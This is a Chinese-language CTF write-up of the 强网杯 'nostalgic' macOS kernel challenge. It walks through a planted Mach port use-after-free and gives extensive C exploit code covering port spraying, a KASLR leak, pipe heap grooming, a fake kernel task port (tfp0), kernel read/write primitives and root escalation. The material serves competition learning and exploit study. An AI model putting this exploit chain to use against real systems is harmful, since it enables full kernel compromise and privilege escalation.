强网杯nostalgic题解

溴化锂 溴化锂 Views -- #题解#教程#CTF
强网杯nostalgic题解

起因是赛后复现强网杯的某个osx题目。

首先看代码,按照出题人的说法是故意改出来的洞,其他内存洞都不能用。

UAF分析+验证

diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
> ipc_port_t
> port_name_to_kport(mach_port_name_t name) {
>       ipc_port_t kport;
>       if (MACH_PORT_VALID(name))
>       {
>               if (ipc_object_copyin(current_space(), name,
>                                                         MACH_MSG_TYPE_COPY_SEND,
>                                                         (ipc_object_t *)&kport) != KERN_SUCCESS)
>                       return (0);
>               return kport;
>       }
>       return 0;
> }
> 
1724a1739,1741
>                       if (old_port[i] == new_port) {
>                               continue;
>                       }
1738,1739c1755,1759
<               if (IP_VALID(old_port[i]))
<                       ipc_port_release_send(old_port[i]);
---
>               if (IP_VALID(old_port[i])) {
>                       if (((old_port[i]->ip_object).io_references) > 0) {
>                               ipc_port_release(old_port[i]);
>                       }
>               }
1741,1742c1761,1765
<       if (IP_VALID(new_port))          /* consume send right */
<               ipc_port_release_send(new_port);
---
>       if (IP_VALID(new_port)) {        /* consume send right */
>               if (((new_port->ip_object).io_references) > 0) {
>                       ipc_port_release(new_port);
>               }
>       }

丢给gpt一番分析大概知道了这个地方是个machport uaf。

于是迅速写了一坨验证exp:

 // clang -Wall -O2 -o poc poc.c
  #include <mach/mach.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>

  static mach_port_t make_port(void) {
      mach_port_t p = MACH_PORT_NULL;
      kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "alloc: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "insert: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      return p;
  }

  static void exhaust_refs(mach_port_t p) {
      exception_mask_t mask = EXC_MASK_BAD_ACCESS;
      task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      for (int i = 0; i < 8; i++) {
          task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      }
      mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
  }

  int main(void) {
      mach_port_t victim = make_port();
      if (victim == MACH_PORT_NULL) return 1;

      exhaust_refs(victim);
      puts("[*] port should now be dangling, sending to it to trigger UAF/panic...");

      struct {
          mach_msg_header_t hdr;
      } msg;
      memset(&msg, 0, sizeof(msg));
      msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
      msg.hdr.msgh_size = sizeof(msg);
      msg.hdr.msgh_remote_port = victim;

      kern_return_t kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
                                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
      fprintf(stderr, "mach_msg returned: %s\n", mach_error_string(kr));
      pause(); // 如果没马上 panic,可保持进程存活观察
      return 0;
  }

发现创建的普通port只需要循环设置两次就没有了,但是仍然有用户态的name(理解为指针)指向这个“不存在的port”

于是尝试spray进行port风水的检查,发现可以稳定在一轮里spray后重新get这个name可以保证它success。

// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/sysctl.h>


static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    kern_return_t kr;

    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] alloc: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] insert: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }
    // printf("[+] make_port -> name=%d\n", p);
    return p;
}

static int probe_port(const char *label, mach_port_t name) {
    natural_t type = 0;
    mach_vm_address_t addr = 0;
    kern_return_t kr;

    kr = mach_port_kobject(mach_task_self(), name, &type, &addr);

    printf("[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n",
           label, name, kr, mach_error_string(kr),
           type, (unsigned long long)addr);
    if (kr != KERN_SUCCESS) {
        return 0;
    }
    return 1; 
}

static void dump_port_limits(const char *label, mach_port_t name) {
    struct mach_port_limits limits;
    mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
    kern_return_t kr;

    kr = mach_port_get_attributes(mach_task_self(), name,
                                  MACH_PORT_LIMITS_INFO,
                                  (mach_port_info_t)&limits, &count);
    if (kr != KERN_SUCCESS) {
        printf("[*] limits %-12s: name=%d get_attributes -> %s\n",
               label, name, mach_error_string(kr));
        return;
    }
    printf("[*] limits %-12s: name=%d qlimit=%u\n",
           label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
    volatile int *p = (int *)0x0;
    *p = 0xdeadbeef;
}

#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;

#define UNSLID_REALHOST          0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL  0xffffff80008bac80
#define UNSLID_KERNEL_TASK       0xffffff80008c5168


static size_t spray_with_make_port(size_t want) {
    if (want > SPRAY_MAX) want = SPRAY_MAX;
    size_t ok = 0;
    for (; ok < want; ok++) {
        mach_port_t p = make_port();
        if (p == MACH_PORT_NULL) {
            fprintf(stderr, "[-] make_port failed @%zu\n", ok);
            break;
        }
        spray_arr[ok] = p;
    }
    spray_cnt = ok;
    printf("[*] sprayed %zu ports\n", ok);
    return ok;
}

static void tag_spray_ports(void) {
    for (size_t i = 0; i < spray_cnt; i++) {
        mach_port_context_t ctx = 0x133700000000ULL | i;
        kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
        if (kr != KERN_SUCCESS) {
            fprintf(stderr, "[-] set_context %zu: %s\n", i, mach_error_string(kr));
        }
    }
}

static int detect_reuse_from_uaf(void) {
    mach_port_context_t ctx = 0;
    kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &ctx);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] get_context uaf: %s\n", mach_error_string(kr));
        return -1;
    }
    if ((ctx & 0xFFFF00000000ULL) == 0x133700000000ULL) {
        int idx = (int)(ctx & 0xFFFF);
        printf("[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n",
               idx, spray_arr[idx], (unsigned long long)ctx);
        reuse_idx = idx;
        return idx;
    }
    printf("[-] no hit yet, ctx=0x%llx\n", (unsigned long long)ctx);
    return -1;
}


// 把命中的端口 free 掉,为后续 freelist 污染做准备
static void free_reused_port(void) {
    if (reuse_idx < 0) {
        puts("[-] reuse_idx not set");
        return;
    }
    kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
    printf("[*] destroy reused port name=%d -> %s\n", spray_arr[reuse_idx], mach_error_string(kr));
    spray_arr[reuse_idx] = MACH_PORT_NULL;
}

static void make_uaf_port(mach_port_t victim) {
    puts("[*] make_uaf_port");
    kern_return_t kr;
    probe_port("victim", victim);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
    printf("[*] 0. task_set_exception_ports() -> %s\n", mach_error_string(kr));
    for (int i = 0; i < 2; i++) {
        kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
        printf("[*] %d. task_set_exception_ports() -> %s\n", i+1, mach_error_string(kr));
        probe_port("victim", victim);
    }
    puts("[*] done");
}
int main(void) {
    puts("[*] Stage 1: Create ports and trigger UAF");
    mach_port_t victim = make_port();
    if (victim == MACH_PORT_NULL) {
        printf("[-] make_port failed\n");
        return -1;
    }
    uaf_port = victim;
    make_uaf_port(victim);

    puts("[*] Stage 3: Spray and detect reuse");
    spray_with_make_port(0x3000);
    tag_spray_ports();
    detect_reuse_from_uaf();
    if (reuse_idx >= 0) {
    }
    return 0;
}

于是到这里也是稳定能够复用端口,可以看到reuse_idx这里能找到内容。

利用思路讲解

用户态有一个mach name,在内核里的进程控制块(linux的PCB)task port中,有一块空间用来做“从mach name到mach port内存“的映射

在进行两次解引用后,内核处理模块只处理了mach port 内存(因为内存这里已经没有io_reference,相当于不能用了),但是因为破坏了原来的逻辑,这里并不会对这个映射有影响。于是进入了这个状态

由于内存page分配原理(和buddy system差不多),这里如果这一个page都是空闲的,那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体(如IOSurface,sock_opt虽然还没有调通),进行大量kalloc和写入,就有机会把这一块内存占用,变成我们可读写的内存,如下:

在我们做到可读写这一块之后,我们构造一个恶意的task port结构体:它有pid = 0,全宇宙最高权限的task port ⇒ tfp0,刚好放在dangling pointer指向的地方,再用我们用户态的mach name进行操作时,内核会误认为它是一个天然存在的结构体,从而不拒绝执行对它的操作。

而后我们就有了内核任意读任意写原语:有了它你可以把我们本身的task结构体中权限修改成0→提权,可以关掉amfi,coretrust,…相当于关闭所有运行时 安全检查,这就是越狱。

可以看出,我们现在离真正提权还差了几步:1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上?3. 怎么样构造一个完美的tfp0?

KASLR→内核基址泄露

首先我们需要一些方法来泄露内核基址。卡了很久,最后在project zero里找到了一篇关于Safari的内核pwn题。

pwn4fun Spring 2014 - Safari - Part II

从这里面找到了kaslr的泄露方法:

static kern_return_t slide_leak(void) {
    INFO("leaking kernel slide...");
    FILE *fp;
    char buf[512];
    uint64_t leaked_address = 0;
    fp = popen("ioreg -l | grep IOPlatformArgs", "r");
    if (!fp) {
        ERROR("popen failed");
        return KERN_FAILURE;
    }
    if (!fscanf(fp, "%*[^<]<%511[^>]>", buf)) {
        ERROR("parse_slide: fgets failed");
        pclose(fp);
        return KERN_FAILURE;
    }
    pclose(fp);
    char reversed[17] = {0};
    for (int i = 0; i < 8; i++) {
        reversed[i*2]   = buf[14 - i*2];
        reversed[i*2+1] = buf[15 - i*2];
    }
    leaked_address = strtoull(reversed, NULL, 16);
    slide = leaked_address - UNSLID_DT_ADDR;
    SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
    SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
    return KERN_SUCCESS;
}

需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。

于是这一步也解决了。

某块区域内存写入→ 堆风水 → tfp0

来自出题人的提示1
来自出题人的提示1
来自出题人的提示2
来自出题人的提示2

好了这里给了两个提示,第一个对应我们说的IOSurface写入过程,第二个给我们提供了新条件。

同样经过一番搜索可以搜到360的技术博客

IPC Voucher UaF Remote Jailbreak Stage 2

在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.

这里也是一样的,我们需要申请至少一个page的mach port,取其中一个来作为我们的fake port,其他的都删除,并且要把page释放掉。 有意思的一点是,在10.9 并没有禁用mach_zone_force_gc ,这很方便。

第一步流程是,申请很多个machport,然后选一个进行uaf,剩下的destroy掉,然后gc。

直接给代码,没什么好讲的


static kern_return_t make_port_uaf(mach_port_t port) {
    INFO("making port uaf...");
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1

    kern_return_t kr = detect_port(port);
    int times = 0;
    while(kr == KERN_SUCCESS) {
        KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
        times++;
        INFO("uaf attempt %d", times);
        kr = detect_port(port); // should succeed
    }
    INFO("kr=%s", mach_error_string(kr));
    INFO("port is uafed after %d attempts", times);
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
    KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
    return p;
error:
    return MACH_PORT_NULL;
}


static kern_return_t make_victim(void) {
    INFO("make victim ports...");
    for(int i=0;i<NUM_BEFORE;i++) {
        before_port[i] = make_port();
        EQ(before_port[i], MACH_PORT_NULL);
    }
    victim_port = make_port();
    EQ(victim_port, MACH_PORT_NULL);
    for(int i=0;i<NUM_AFTER;i++) {
        after_port[i] = make_port();
        EQ(after_port[i], MACH_PORT_NULL);
    }
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
} 
static kern_return_t gc(void) {
    INFO("Free ports");
    for(int i=0;i<NUM_BEFORE;i++) {
        RELEASE_PORT(before_port[i]);
    }
    for(int i=0;i<NUM_AFTER;i++) {
        RELEASE_PORT(after_port[i]);
    }
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 1090
    INFO("triggering garbage collection...");
    KR(mach_zone_force_gc(mach_host_self()));
#else
    INFO("skipping garbage collection (not supported on this OS version)...");
#endif
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}

接下来是写入:

换一篇博客

voucher_swap: Exploiting MIG reference counting in iOS 12

看眼xnu代码可以知道,创建了pipe之后,在尝试读取或者写入时,会创建和写入一样大的一片buffer区域,用的kalloc。那么如果

于是可以看看第二篇文章的写法

From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit

直接去voucher_swap里抄代码就好了。

需要注意的是他们用的是kalloc.16384这块,我们需要改成kalloc.4096,大概流程:


    pipe_buffer_size = 4096; // make it to kalloc.4096
    size_t pipe_count = 16 * MB / pipe_buffer_size;
    increase_file_limit();
    int *pipefds_array = create_pipes(&pipe_count);
    INFO("created %zu pipes", pipe_count);
    pipe_buffer = calloc(1, pipe_buffer_size);
    EQ(pipe_buffer, NULL);
    bzero(pipe_buffer, pipe_buffer_size);
    size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
    INFO("filled %zu pipes", pipes_filled);

然后做检测:

KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO("try locate which page");
    int pipe_idx = -1;
    int context_location = -1;
    for(size_t i=0;i<pipes_filled;i++) {
        ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
        if(n < 0) {
            ERROR("read pipe %zu failed", i);
            continue;
        }
        uint32_t *p = (uint32_t *)pipe_buffer;
        for(size_t j=0;j<(pipe_buffer_size/4);j++) {
            if(p[j] == 0x41414141) {
                SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4);
                pipe_idx = (int)i;
                context_location = (int)(j*4);
                break;
            }
        }
        if(pipe_idx != -1) break;
    }
    EQ(pipe_idx, -1);
    EQ(context_location, -1);
    INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location);

这里做完如果找到了,我们就获得了一个完全可控的port,同时也可以找到offset context,然后倒推出port开始地址的offset。

需要注意,pipe是写入后才能读取的,所以构建一套machport写快捷操作:

void read_prim() {
    INFO("reading mach port...");
    ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("read success");
    return;
error:
    ERROR("read failed in read_mach_port");
    return;
}
void write_prim() {
    ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
    EQ(n, -1);
    INFO("write success");
    return;
error:
    ERROR("write failed in write_mach_port");
    return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}
void read_mach_port(size_t offset, kport_t *outport) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(outport != NULL) {
        memcpy(outport, port, sizeof(kport_t));
    }
    write_prim();
    return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
    read_prim();
    kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
    if(update!=NULL) {
        update(port);
    }
    write_prim();
    return;
}

现在先来拿一下port地址,可以用mach_port_request_notification,把某个port注册到我们port的结构体上。然后由于我们port是可以直接获取内容的,这里就可以把addr拿到了。

KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify));
read_mach_port(offset, &readback);
uint64_t victim_addr = readback.ip_pdrequest;

下面我们把这个pipe扩展到任意读。貌似做法挺多的,可以用pid_for_task读,也可以用其他方法。

v0rtex

这里我们参考v0rtex的实现方式,在mach_port_get_attributes使用MACH_PORT_DNREQUESTS_SIZE时,会读取ipc_port->ip_request->name.size 。由于默认的request结构体已知,我们可以把ip_request指向我们可控的context,然后解引用时会解到context指向的地址,于是有了

typedef volatile struct {
    union {
        uint64_t port;
        uint64_t index;
    } notify;
    union {
        uint64_t name;
        uint64_t size;
    } name;
} kport_request_t;
kport_request_t kreq = {
        .notify =
        {
            .port = 0,
        }
    };
    edit_mach_port(offset, ^(kport_t *fakeport){
        fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
        fakeport->ip_references = 0x100;
        fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
        fakeport->ip_messages.msgcount = 0;
        fakeport->ip_srights = 0x10;
        fakeport->ip_context = 0;
        fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context) 
                                            - offsetof(kport_request_t, name.size); 
    });
    
#define KREAD(addr, out, size)                                                                                                              \
do {                                                                                                                                        \
    for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) {                                                             \
        KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t)));                                                   \
        mach_msg_type_number_t outsz = 1;                                                                                                   \
        KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz));  \
    }                                                                                                                                       \
} while(0)

获得到了任意读,可控machport。下一步我们需要找的是kernel_task。这里也可以直接走内核符号拿,但是我写了一个不走符号的做法,先读取当前task的地址,然后链表往前走可以枚举所有proc。

uint64_t struct_task = 0; // task kobject.
    natural_t type = 0;
    mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task); 
    uint64_t self_proc = 0;
    struct_task -= addrpem;
    SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task);
    self_proc = struct_task;
    uint64_t kernel_vm_map = 0;
    EQ(struct_task, 0);
    while (struct_task != 0) {
        uint64_t bsd_info;
        KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info));
        EQ(bsd_info, 0);
        SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info);
        uint32_t pid;
        KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid));
        SUCCESS("found pid: %u", pid);
        if (pid == 0) {
            uint64_t vm_map;
            KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map));
            EQ(vm_map, 0);
            SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map);
            kernel_vm_map = vm_map;
            break;
        }
        KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task));
    }

本来想了好久应该怎么构造fakeport。但是后面看到思路说直接memcpy就好了,那为什么不呢

void *kernel_task_port_dump = malloc(0x100);
    void *kernel_task_dump = malloc(0x200);
    uint64_t kernel_task_addr = 0;
    KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr));
    SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr);
    
    uint64_t kernel_itk_self = 0;
    KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self));
    SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self);
    
    uint64_t fake_task_offset = 0;
    if(offset > 0x500) { // if task port is in later of buffer, we create task at front
        fake_task_offset = 0;
    } else {
        fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
    }
    INFO("fake task offset: 0x%llx", (ull)fake_task_offset);

    KREAD(kernel_task_addr, kernel_task_dump, 0x200);
    SUCCESS("dumped kernel task struct");
    
    
    KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
    SUCCESS("dumped kernel task port struct");
edit_proc_task(fake_task_offset, ^(ktask_t *task) {
        memcpy(task, kernel_task_dump, 0x200);
        task->map = kernel_vm_map;
    });
edit_mach_port(offset, ^(kport_t *fakeport){
        bzero(fakeport, sizeof(kport_t));
        memcpy(fakeport, kernel_task_port_dump, 0x100);
        fakeport->ip_kobject = buffer_start_address + fake_task_offset;
    });
    SUCCESS("faKe tfp0 ready!");

才知道c也有这种lambda类型的函数,不得不说还挺好用的。

接下来就拿到krw了,后面改改cred就行,不写实现了

可以给更高权限的原语:

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        if (rv || sz == 0) {
            printf("[-] error on kread(0x%016llx)\n", where);
            break;
        }
        offset += sz;
    }
    return offset;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf("[-] error on kwrite(0x%016llx)\n", where);
            break;
        }
        offset += chunk;
    }
    return offset;
}
void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

		init_kernel_memory(victim);
    INFO("testing kr/w...");
    
    uint64_t addr = kalloc(8);
    INFO("allocated kernel memory at 0x%llx", (ull)addr);
    EQ(addr, 0);
    wk64(addr, 0x4141414141414141);
    uint64_t readb = rk64(addr);
    kfree(addr, 8);
    printf("[*] read back: 0x%llx\n", readb);
    NEQ(readb, 0x4141414141414141);
    SUCCESS("kr/w test passed!");

于是成功通关。下面是在当前进程的bsdinfo里把ruid改成0,就能直接提权了。

完整代码:

qwb 2025 nostalic real wp

Comments

0 comments
?